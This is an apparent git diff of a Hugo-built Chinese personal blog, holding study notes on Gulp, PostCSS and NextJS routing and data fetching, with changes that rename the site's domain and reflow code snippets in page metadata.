gulp-notify</p><p>创建gulpfile.js</p><p>执行gulp</p><p>gulp</p><p>修改gulpfile.js</p><p>导入gulp（这里用个变量接收）</p><p>let gulp = require(&ldquo;gulp&rdquo;);</p><p>常用方法</p><p>gulp.task() // 定义任务</p><p>gulp.src() // 指向需要执行任务的文件</p><p>gulp.dest() // 执行完任务的文件最后在哪里</p><p>gulp.watch() // 监测文件是否发生变化</p><p>gulp.task()其中有两个参数，分别是任务名称和一个回调函数</p><p>例如：</p><pre><code>let gulp = require(&quot;gulp&quot;);
+gulp.task(&quot;test&quot;, function() {
+    return console.log(&quot;hallo gulp&quot;);
+});
+</code></pre><p>执行test任务（在终端，应用根目录下）</p><p>gulp test</p><p>默认任务</p><pre><code>gulp.task(&quot;default&quot;, function(){
+    return console.log(&quot;hallo gulp&quot;);
+})
+</code></pre><p>拷贝任务</p><pre><code>gulp.task(&quot;copyData&quot;, function(){
+    gulp.src(&quot;src/*&quot;).pipe(gulp.dest(&quot;app&quot;));
+})
+</code></pre><p>上面是将src文件夹下全部文件拷贝到app文件下，哪怕没有这个文件夹，gulp也会自动新建文件夹并且拷贝过去</p><p>图片压缩任务</p><p>安装依赖</p><p>npm install &ndash;save-dev gulp-imagemin</p><p>修改gulpfile.js</p><pre><code>let imagemin = require(&quot;gulp-imagemin&quot;);
+gulp.task(&quot;imageMin&quot;, function(){
+    gulp.src(&quot;src/*.{png,jpg,gif,ico}&quot;).pipe(imagemin(
+        {
+            optimizationLevel: 5,
+            progressive: true, 
+            interlaced: true, 
+            multipass: true,
+            svgoPlugins:[{removeViewBox: true}],
+        }
+    )).pipe(gulp.dest(&quot;src/images&quot;));
+})
+</code></pre><p>imagemin方法参数：</p><p>optimizationLevel：压缩等级（0-7），默认值为3</p><p>progressive：是否无损压缩jpg图片，默认值为false</p><p>interlaced：隔行扫描gif渲染，默认值为false</p><p>multipass：多次优化svg，直到优化完毕，默认值为false</p><p>svgoPlugins: 移除svg的viewbox属性</p><hr><p>PostCSS是一个用JavaScript转换css的工具</p><p>一般来说PostCSS不单独使用，会搭配构建工具（例如：Webpack，Gulp）使用，因此这里使用的是Gulp</p><p>安装PostCSS依赖和gulp依赖</p><p>yarn add gulp gulp-postcss postcss-cssnext postcss-short</p><p>修改gulpfile.js</p><pre><code>const gulp = require(&quot;gulp&quot;);
+const postcss = require(&quot;gulp-postcss&quot;);
+const cssnext = require(&quot;postcss-cssnext&quot;);
+const shortcss = require(&quot;postcss-short&quot;);
+gulp.task(&quot;postcss&quot;, function() {
+    const processors = [
+        shortcss,
+        cssnext
+    ];
+    return gulp.src(&quot;./1.css&quot;)
+            .pipe(postcss(processors))
+            .pipe(gulp.dest(&quot;./css&quot;));
+});
+</code></pre><p>gulp postcss</p><p>执行完毕后自动添加css兼容前缀了，还支持下一代css的语法</p></div><footer class=post-footer><ul class=post-tags><li><a href=https://chenjunlinabc.github.io/tags/gulp/>Gulp</a></li></ul><nav class=paginav><a class=prev href=https://chenjunlinabc.github.io/posts/75/><span class=title>« Prev</span><br><span>深入学习vuejs</span></a>
+<a class=next href=https://chenjunlinabc.github.io/posts/65/><span class=title>Next »</span><br><span>简单利用backdrop-filter属性实现效果</span></a></nav></footer></article></main><footer class=footer><span>&copy; 2023 <a href=https://chenjunlinabc.github.io/>小陈的个人博客</a></span>
 <span>Powered by
 <a href=https://gohugo.io/ rel="noopener noreferrer" target=_blank>Hugo</a> &
         <a href=https://github.com/adityatelange/hugo-PaperMod/ rel=noopener target=_blank>PaperMod</a></span></footer><a href=#top aria-label="go to top" title="Go to Top (Alt + G)" class=top-link id=top-link accesskey=g><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 12 6" fill="currentcolor"><path d="M12 6H0l6-6z"/></svg></a><script>let menu=document.getElementById("menu");menu&&(menu.scrollLeft=localStorage.getItem("menu-scroll-position"),menu.onscroll=function(){localStorage.setItem("menu-scroll-position",menu.scrollLeft)}),document.querySelectorAll('a[href^="#"]').forEach(e=>{e.addEventListener("click",function(e){e.preventDefault();var t=this.getAttribute("href").substr(1);window.matchMedia("(prefers-reduced-motion: reduce)").matches?document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView():document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView({behavior:"smooth"}),t==="top"?history.replaceState(null,null," "):history.pushState(null,null,`#${t}`)})})</script><script>var mybutton=document.getElementById("top-link");window.onscroll=function(){document.body.scrollTop>800||document.documentElement.scrollTop>800?(mybutton.style.visibility="visible",mybutton.style.opacity="1"):(mybutton.style.visibility="hidden",mybutton.style.opacity="0")}</script><script>document.getElementById("theme-toggle").addEventListener("click",()=>{document.body.className.includes("dark")?(document.body.classList.remove("dark"),localStorage.setItem("pref-theme","light")):(document.body.classList.add("dark"),localStorage.setItem("pref-theme","dark"))})</script><script>document.querySelectorAll("pre > code").forEach(e=>{const n=e.parentNode.parentNode,t=document.createElement("button");t.classList.add("copy-code"),t.innerHTML="copy";function s(){t.innerHTML="copied!",setTimeout(()=>{t.innerHTML="copy"},2e3)}t.addEventListener("click",t=>{if("clipboard"in navigator){navigator.clipboard.writeText(e.textContent),s();return}const n=document.createRange();n.selectNodeContents(e);const o=window.getSelection();o.removeAllRanges(),o.addRange(n);try{document.execCommand("copy"),s()}catch{}o.removeRange(n)}),n.classList.contains("highlight")?n.appendChild(t):n.parentNode.firstChild==n||(e.parentNode.parentNode.parentNode.parentNode.parentNode.nodeName=="TABLE"?e.parentNode.parentNode.parentNode.parentNode.parentNode.appendChild(t):e.parentNode.appendChild(t))})</script></body></html>
\ No newline at end of file
diff --git a/posts/74/index.html b/posts/74/index.html
index 1614ac4d..1ee11d4a 100644
--- a/posts/74/index.html
+++ b/posts/74/index.html
@@ -12,7 +12,7 @@
 在scripts下加添加
 &ldquo;dev&rdquo; : &ldquo;next&rdquo;, &ldquo;build&rdquo;: &ldquo;next build&rdquo;, &ldquo;start&rdquo;: &ldquo;next start&rdquo;
 创建个js文件
-function Hallo(){
return(
<div>hallo next.js</div>
)
}
export default Hallo
yarn dev调试
+function Hallo(){ return( <div>hallo next.js</div> ) } export default Hallo yarn dev调试
 如果浏览器输出正确则配置成功
 通过create-next-app脚手架创建项目
 npm install create-next-app -g
@@ -26,8 +26,8 @@
 yarn dev
 访问http://localhost:3000/，正常显示网页则配置正常
 编程式跳转
-import Link from &#34;next/link&#34;
<Link href=&#34;/&#34;><a>返回</a></Link>
Link不支持直接加兄弟标签，起码要有一个父级标签"><meta name=author content="Me"><link rel=canonical href=https://xiaochenabc123.github.io/posts/74/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.3613efbd0b1772781e8f49935e973cae632a7f61471c05b17be155505ccf87b5.css integrity="sha256-NhPvvQsXcngej0mTXpc8rmMqf2FHHAWxe+FVUFzPh7U=" rel="preload stylesheet" as=style><script defer crossorigin=anonymous src=/assets/js/highlight.f413e19d0714851f6474e7ee9632408e58ac146fbdbe62747134bea2fa3415e0.js integrity="sha256-9BPhnQcUhR9kdOfuljJAjlisFG+9vmJ0cTS+ovo0FeA=" onload=hljs.initHighlightingOnLoad()></script>
-<link rel=icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://xiaochenabc123.github.io/favicon.ico><link rel=apple-touch-icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=mask-icon href=https://xiaochenabc123.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="NextJS学习笔记"><meta property="og:description" content="NextJS是一个用于生产环境的react框架，可以提供服务器端渲染等等功能
+import Link from &#34;next/link&#34; <Link href=&#34;/&#34;><a>返回</a></Link> Link不支持直接加兄弟标签，起码要有一个父级标签"><meta name=author content="Me"><link rel=canonical href=https://chenjunlinabc.github.io/posts/74/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.5cfc680b1eeaeef9efbced92d46c2a9e876b72ee14fba85846afc4cff9e6e6f8.css integrity="sha256-XPxoCx7q7vnvvO2S1Gwqnodrcu4U+6hYRq/Ez/nm5vg=" rel="preload stylesheet" as=style><script defer crossorigin=anonymous src=/assets/js/highlight.f413e19d0714851f6474e7ee9632408e58ac146fbdbe62747134bea2fa3415e0.js integrity="sha256-9BPhnQcUhR9kdOfuljJAjlisFG+9vmJ0cTS+ovo0FeA=" onload=hljs.initHighlightingOnLoad()></script>
+<link rel=icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://chenjunlinabc.github.io/favicon.ico><link rel=apple-touch-icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=mask-icon href=https://chenjunlinabc.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="NextJS学习笔记"><meta property="og:description" content="NextJS是一个用于生产环境的react框架，可以提供服务器端渲染等等功能
 服务端渲染（ssr）：后端调用数据库获取数据后，将数据和页面元素进行组合成完整的DOM结构，再返回给浏览器，提供给用户浏览
 SPA：
 全称single page web application
@@ -41,7 +41,7 @@
 在scripts下加添加
 &ldquo;dev&rdquo; : &ldquo;next&rdquo;, &ldquo;build&rdquo;: &ldquo;next build&rdquo;, &ldquo;start&rdquo;: &ldquo;next start&rdquo;
 创建个js文件
-function Hallo(){
return(
<div>hallo next.js</div>
)
}
export default Hallo
yarn dev调试
+function Hallo(){ return( <div>hallo next.js</div> ) } export default Hallo yarn dev调试
 如果浏览器输出正确则配置成功
 通过create-next-app脚手架创建项目
 npm install create-next-app -g
@@ -55,7 +55,7 @@
 yarn dev
 访问http://localhost:3000/，正常显示网页则配置正常
 编程式跳转
-import Link from &#34;next/link&#34;
<Link href=&#34;/&#34;><a>返回</a></Link>
Link不支持直接加兄弟标签，起码要有一个父级标签"><meta property="og:type" content="article"><meta property="og:url" content="https://xiaochenabc123.github.io/posts/74/"><meta property="og:image" content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="article:section" content="posts"><meta property="article:published_time" content="2021-08-07T23:26:00+00:00"><meta property="article:modified_time" content="2021-08-07T23:26:00+00:00"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="NextJS学习笔记"><meta name=twitter:description content="NextJS是一个用于生产环境的react框架，可以提供服务器端渲染等等功能
+import Link from &#34;next/link&#34; <Link href=&#34;/&#34;><a>返回</a></Link> Link不支持直接加兄弟标签，起码要有一个父级标签"><meta property="og:type" content="article"><meta property="og:url" content="https://chenjunlinabc.github.io/posts/74/"><meta property="og:image" content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="article:section" content="posts"><meta property="article:published_time" content="2021-08-07T23:26:00+00:00"><meta property="article:modified_time" content="2021-08-07T23:26:00+00:00"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="NextJS学习笔记"><meta name=twitter:description content="NextJS是一个用于生产环境的react框架，可以提供服务器端渲染等等功能
 服务端渲染（ssr）：后端调用数据库获取数据后，将数据和页面元素进行组合成完整的DOM结构，再返回给浏览器，提供给用户浏览
 SPA：
 全称single page web application
@@ -69,7 +69,7 @@
 在scripts下加添加
 &ldquo;dev&rdquo; : &ldquo;next&rdquo;, &ldquo;build&rdquo;: &ldquo;next build&rdquo;, &ldquo;start&rdquo;: &ldquo;next start&rdquo;
 创建个js文件
-function Hallo(){
return(
<div>hallo next.js</div>
)
}
export default Hallo
yarn dev调试
+function Hallo(){ return( <div>hallo next.js</div> ) } export default Hallo yarn dev调试
 如果浏览器输出正确则配置成功
 通过create-next-app脚手架创建项目
 npm install create-next-app -g
@@ -83,126 +83,126 @@
 yarn dev
 访问http://localhost:3000/，正常显示网页则配置正常
 编程式跳转
-import Link from &#34;next/link&#34;
<Link href=&#34;/&#34;><a>返回</a></Link>
Link不支持直接加兄弟标签，起码要有一个父级标签"><script type=application/ld+json>{"@context":"https://schema.org","@type":"BreadcrumbList","itemListElement":[{"@type":"ListItem","position":1,"name":"Posts","item":"https://xiaochenabc123.github.io/posts/"},{"@type":"ListItem","position":2,"name":"NextJS学习笔记","item":"https://xiaochenabc123.github.io/posts/74/"}]}</script><script type=application/ld+json>{"@context":"https://schema.org","@type":"BlogPosting","headline":"NextJS学习笔记","name":"NextJS学习笔记","description":"NextJS是一个用于生产环境的react框架，可以提供服务器端渲染等等功能\n服务端渲染（ssr）：后端调用数据库获取数据后，将数据和页面元素进行组合成完整的DOM结构，再返回给浏览器，提供给用户浏览\nSPA：\n全称single page web application\n单一页面，加载慢，百度目前不支持spa的SEO\nNextJS：\n服务端渲染，服务端和客户端数据同步，插件丰富，搭建轻量，灵活配置\n手动配置：\nyarn add react react-dom next\nyarn init\n修改package.json文件\n在scripts下加添加\n\u0026ldquo;dev\u0026rdquo; : \u0026ldquo;next\u0026rdquo;, \u0026ldquo;build\u0026rdquo;: \u0026ldquo;next build\u0026rdquo;, \u0026ldquo;start\u0026rdquo;: \u0026ldquo;next start\u0026rdquo;\n创建个js文件\nfunction Hallo(){\rreturn(\r\u0026lt;div\u0026gt;hallo next.js\u0026lt;/div\u0026gt;\r)\r}\rexport default Hallo\ryarn dev调试\n如果浏览器输出正确则配置成功\n通过create-next-app脚手架创建项目\nnpm install create-next-app -g\n或者\nyarn add create-next-app -g\n创建create-next-app项目\nnpx create-next-app demo\n或者\nyarn create-next-app demo\n跑create-next-app项目\nyarn dev\n访问http://localhost:3000/，正常显示网页则配置正常\n编程式跳转\nimport Link from \u0026quot;next/link\u0026quot;\r\u0026lt;Link href=\u0026quot;/\u0026quot;\u0026gt;\u0026lt;a\u0026gt;返回\u0026lt;/a\u0026gt;\u0026lt;/Link\u0026gt;\rLink不支持直接加兄弟标签，起码要有一个父级标签","keywords":["React","NextJS"],"articleBody":"NextJS是一个用于生产环境的react框架，可以提供服务器端渲染等等功能\n服务端渲染（ssr）：后端调用数据库获取数据后，将数据和页面元素进行组合成完整的DOM结构，再返回给浏览器，提供给用户浏览\nSPA：\n全称single page web application\n单一页面，加载慢，百度目前不支持spa的SEO\nNextJS：\n服务端渲染，服务端和客户端数据同步，插件丰富，搭建轻量，灵活配置\n手动配置：\nyarn add react react-dom next\nyarn init\n修改package.json文件\n在scripts下加添加\n“dev” : “next”, “build”: “next build”, “start”: “next start”\n创建个js文件\nfunction Hallo(){\rreturn(\rhallo next.js\r)\r}\rexport default Hallo\ryarn dev调试\n如果浏览器输出正确则配置成功\n通过create-next-app脚手架创建项目\nnpm install create-next-app -g\n或者\nyarn add create-next-app -g\n创建create-next-app项目\nnpx create-next-app demo\n或者\nyarn create-next-app demo\n跑create-next-app项目\nyarn dev\n访问http://localhost:3000/，正常显示网页则配置正常\n编程式跳转\nimport Link from \"next/link\"\r返回\rLink不支持直接加兄弟标签，起码要有一个父级标签\n利用Router实现跳转\nimport Router from \"next/router\"\r{Router.push(\"/\")}}\u003e返回\r路由跳转通过query传递参数和接收参数\n传递参数\n返回\r接收参数\nimport {withRouter} from \"next/router\"\rconst Hallo = ({router}) =\u003e{\rreturn(\r{router.query.name} word\r返回\r)\r}\rexport default withRouter(Hallo)\r也是可以用编程式跳转的方式\n函数的方式\nfunction goData(){\rRouter.push('/hallo?name=hallo')\r}\r或者用对象的方式\nRouter.push({\rpathname: \"/hallo\",\rquery: {name: \"hallo\"}\r})\r路由的钩子函数\nrouteChangeStart // 路由将发生变化的时候触发\nrouteChangeComplete // 路由发生变化完成\nbeforeHistoryChange // 在history触发前，nextjs路由变化默认是通过history进行的\n正常情况下先触发routeChangeStart，然后beforeHistoryChange，再触发routeChangeComplete\nrouteChangeError // 路由变化发生错误时\nhashChangeStart // hash路由将发生变化的时候触发\nhashChangeComplete // hash路由发生变化完成\nhash路由（锚点）\n选hallo\r钩子触发调用自定义函数\nRouter.push.on(\"routeChangeStart\",(...url)=\u003e{\rconsole.log(\"routeChangeStart触发\",...url)\r})\raxios从远端获取数据\nimport axios from \"axios\"\rHallo.getInitialProps = async() =\u003e{\rconst promise = new Promise((resolve)=\u003e{\raxios(\"url\").then(\r(datas)=\u003e{\rconsole.log(datas)\rresolve(datas.data.data)\r}\r)\r})\rreturn await promise\r}\rexport default withRouter(Hallo)\rStyle JSX，Next.js\n使用jsx，nextjs会自动加入随机类名，防止css污染\n自定义Head\nimport Head from \"next/head\"\r...\r...\rhallo word\rnext打包\nnext build\n运行\nnext start -p 8000\n如果使用antd，打包失败，可以在page目录下建_app.js文件\nimport App from 'next/app'\rimport 'antd/dist/antd.css'\rexport default App\r然后再打包\n页面\n/pages/demo.js\nfunction Demo(){\rreturn(test)\r}\rexport default Demo\rNext会自动完成路由配置\n自定义组件\n/components/demo.js\nexport default ({data})=\u003e{data}\r导入组件\nimport Demo from '../components/demo'\r...\rtest\r搭配Axios获取远端数据（Next中提供了getInitialProps方法来获取）\n/pages/demo.js\nimport axios from 'axios'\rDemo.getInitialProps = async ()=\u003e{\rconst promise =new Promise((resolve)=\u003e{\raxios('https://xiaochenabc123.test.com/feed/').then(\r(res)=\u003e{\rconsole.log('远程数据结果：',res)\rresolve(res.data.data)\r}\r)\r})\rreturn await promise\r}\rNext CSS(style jsx)\n注意：使用style jsx了，Next会自动生成一个随机类名，来避免CSS的全局污染\nLazyLoading 模块懒加载\nfunction MainData(){\rconst Data= async ()=\u003e{ const axios = await import('axios')\r...\r} 当该函数触发异步加载该模块\n懒加载组件\nimport dynamic from ’next/dynamic’ const Demo = dynamic(import(’../components/Demo’))\n只有当需要用到组件才会被加载，利用的是next提供dynamic模块\n自定义（next自身已经定义了head组件，只需要导入就是可以用了）\nimport Head from 'next/head'\rconst Header = ()=\u003e{\rreturn (\r\u003c\u003e\r小陈的辣鸡屋 \u003c/\u003e\r)\r}\rexport default Header\rantd依赖\n安装next css配置\nNextJS使用@zeit/next-css将会警告，请卸载@zeit/next-css\nWarning: Built-in CSS support is being disabled due to custom CSS configuration being detected.\nantd 按需加载（babel-plugin-import）（当需要哪个组件才会加载到生产环境中，而且不是整个antd）\nyarn add babel-plugin-import\n根目录新建.babelrc配置\n{\r\"presets\":[\"next/babel\"],\r\"plugins\":[ [\r\"import\",\r{\r\"libraryName\":\"antd\",\r\"style\":\"css\"\r}\r]\r]\r}\rTurbopack是基于Rust开发的打包器，使用Rust的SWC编译器，Turbopack将作为Nextjs的开发服务端，提供强大的HMR支持，目前还在alpha测试中，可以通过yarn dev –turbo运行next13项目体验\nTurbopack基于Rust开源的Turbo记忆化框架，Turbo可以缓存函数的结果（存储在内存中，只有当停止dev服务时清除缓存，但是Turbopack也提供了远程缓存来对于生产环境的使用（基于Git）），第二次运行时，不会执行函数，而是直接使用结果，除非发生改变\n","wordCount":"367","inLanguage":"en","datePublished":"2021-08-07T23:26:00Z","dateModified":"2021-08-07T23:26:00Z","author":{"@type":"Person","name":"Me"},"mainEntityOfPage":{"@type":"WebPage","@id":"https://xiaochenabc123.github.io/posts/74/"},"publisher":{"@type":"Organization","name":"小陈的个人博客","logo":{"@type":"ImageObject","url":"https://xiaochenabc123.github.io/favicon.ico"}}}</script></head><body id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://xiaochenabc123.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://xiaochenabc123.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://xiaochenabc123.github.io/ title=首页><span>首页</span></a></li><li><a href=https://xiaochenabc123.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://xiaochenabc123.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://xiaochenabc123.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://xiaochenabc123.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://xiaochenabc123.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://xiaochenabc123.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><article class=post-single><header class=post-header><div class=breadcrumbs><a href=https://xiaochenabc123.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://xiaochenabc123.github.io/posts/>Posts</a></div><h1 class=post-title>NextJS学习笔记</h1><div class=post-meta><span title='2021-08-07 23:26:00 +0000 UTC'>2021-08-07</span>&nbsp;·&nbsp;2 min&nbsp;·&nbsp;Me&nbsp;|&nbsp;<a href=https://xiaochenabc123.github.io//posts/NextJS%e5%ad%a6%e4%b9%a0%e7%ac%94%e8%ae%b0.md rel="noopener noreferrer" target=_blank>Suggest Changes</a></div></header><div class=post-content><p>NextJS是一个用于生产环境的react框架，可以提供服务器端渲染等等功能</p><p>服务端渲染（ssr）：后端调用数据库获取数据后，将数据和页面元素进行组合成完整的DOM结构，再返回给浏览器，提供给用户浏览</p><p>SPA：</p><p>全称single page web application</p><p>单一页面，加载慢，百度目前不支持spa的SEO</p><p>NextJS：</p><p>服务端渲染，服务端和客户端数据同步，插件丰富，搭建轻量，灵活配置</p><p>手动配置：</p><p>yarn add react react-dom next</p><p>yarn init</p><p>修改package.json文件</p><p>在scripts下加添加</p><p>&ldquo;dev&rdquo; : &ldquo;next&rdquo;,
+import Link from &#34;next/link&#34; <Link href=&#34;/&#34;><a>返回</a></Link> Link不支持直接加兄弟标签，起码要有一个父级标签"><script type=application/ld+json>{"@context":"https://schema.org","@type":"BreadcrumbList","itemListElement":[{"@type":"ListItem","position":1,"name":"Posts","item":"https://chenjunlinabc.github.io/posts/"},{"@type":"ListItem","position":2,"name":"NextJS学习笔记","item":"https://chenjunlinabc.github.io/posts/74/"}]}</script><script type=application/ld+json>{"@context":"https://schema.org","@type":"BlogPosting","headline":"NextJS学习笔记","name":"NextJS学习笔记","description":"NextJS是一个用于生产环境的react框架，可以提供服务器端渲染等等功能\n服务端渲染（ssr）：后端调用数据库获取数据后，将数据和页面元素进行组合成完整的DOM结构，再返回给浏览器，提供给用户浏览\nSPA：\n全称single page web application\n单一页面，加载慢，百度目前不支持spa的SEO\nNextJS：\n服务端渲染，服务端和客户端数据同步，插件丰富，搭建轻量，灵活配置\n手动配置：\nyarn add react react-dom next\nyarn init\n修改package.json文件\n在scripts下加添加\n\u0026ldquo;dev\u0026rdquo; : \u0026ldquo;next\u0026rdquo;, \u0026ldquo;build\u0026rdquo;: \u0026ldquo;next build\u0026rdquo;, \u0026ldquo;start\u0026rdquo;: \u0026ldquo;next start\u0026rdquo;\n创建个js文件\nfunction Hallo(){ return( \u0026lt;div\u0026gt;hallo next.js\u0026lt;/div\u0026gt; ) } export default Hallo yarn dev调试\n如果浏览器输出正确则配置成功\n通过create-next-app脚手架创建项目\nnpm install create-next-app -g\n或者\nyarn add create-next-app -g\n创建create-next-app项目\nnpx create-next-app demo\n或者\nyarn create-next-app demo\n跑create-next-app项目\nyarn dev\n访问http://localhost:3000/，正常显示网页则配置正常\n编程式跳转\nimport Link from \u0026quot;next/link\u0026quot; \u0026lt;Link href=\u0026quot;/\u0026quot;\u0026gt;\u0026lt;a\u0026gt;返回\u0026lt;/a\u0026gt;\u0026lt;/Link\u0026gt; Link不支持直接加兄弟标签，起码要有一个父级标签","keywords":["React","NextJS"],"articleBody":"NextJS是一个用于生产环境的react框架，可以提供服务器端渲染等等功能\n服务端渲染（ssr）：后端调用数据库获取数据后，将数据和页面元素进行组合成完整的DOM结构，再返回给浏览器，提供给用户浏览\nSPA：\n全称single page web application\n单一页面，加载慢，百度目前不支持spa的SEO\nNextJS：\n服务端渲染，服务端和客户端数据同步，插件丰富，搭建轻量，灵活配置\n手动配置：\nyarn add react react-dom next\nyarn init\n修改package.json文件\n在scripts下加添加\n“dev” : “next”, “build”: “next build”, “start”: “next start”\n创建个js文件\nfunction Hallo(){ return( hallo next.js ) } export default Hallo yarn dev调试\n如果浏览器输出正确则配置成功\n通过create-next-app脚手架创建项目\nnpm install create-next-app -g\n或者\nyarn add create-next-app -g\n创建create-next-app项目\nnpx create-next-app demo\n或者\nyarn create-next-app demo\n跑create-next-app项目\nyarn dev\n访问http://localhost:3000/，正常显示网页则配置正常\n编程式跳转\nimport Link from \"next/link\" 返回 Link不支持直接加兄弟标签，起码要有一个父级标签\n利用Router实现跳转\nimport Router from \"next/router\" {Router.push(\"/\")}}\u003e返回 路由跳转通过query传递参数和接收参数\n传递参数\n返回 接收参数\nimport {withRouter} from \"next/router\" const Hallo = ({router}) =\u003e{ return( {router.query.name} word 返回 ) } export default withRouter(Hallo) 也是可以用编程式跳转的方式\n函数的方式\nfunction goData(){ Router.push('/hallo?name=hallo') } 或者用对象的方式\nRouter.push({ pathname: \"/hallo\", query: {name: \"hallo\"} }) 路由的钩子函数\nrouteChangeStart // 路由将发生变化的时候触发\nrouteChangeComplete // 路由发生变化完成\nbeforeHistoryChange // 在history触发前，nextjs路由变化默认是通过history进行的\n正常情况下先触发routeChangeStart，然后beforeHistoryChange，再触发routeChangeComplete\nrouteChangeError // 路由变化发生错误时\nhashChangeStart // hash路由将发生变化的时候触发\nhashChangeComplete // hash路由发生变化完成\nhash路由（锚点）\n选hallo 钩子触发调用自定义函数\nRouter.push.on(\"routeChangeStart\",(...url)=\u003e{ console.log(\"routeChangeStart触发\",...url) }) axios从远端获取数据\nimport axios from \"axios\" Hallo.getInitialProps = async() =\u003e{ const promise = new Promise((resolve)=\u003e{ axios(\"url\").then( (datas)=\u003e{ console.log(datas) resolve(datas.data.data) } ) }) return await promise } export default withRouter(Hallo) Style JSX，Next.js\n使用jsx，nextjs会自动加入随机类名，防止css污染\n自定义Head\nimport Head from \"next/head\" ... ... hallo word next打包\nnext build\n运行\nnext start -p 8000\n如果使用antd，打包失败，可以在page目录下建_app.js文件\nimport App from 'next/app' import 'antd/dist/antd.css' export default App 然后再打包\n页面\n/pages/demo.js\nfunction Demo(){ 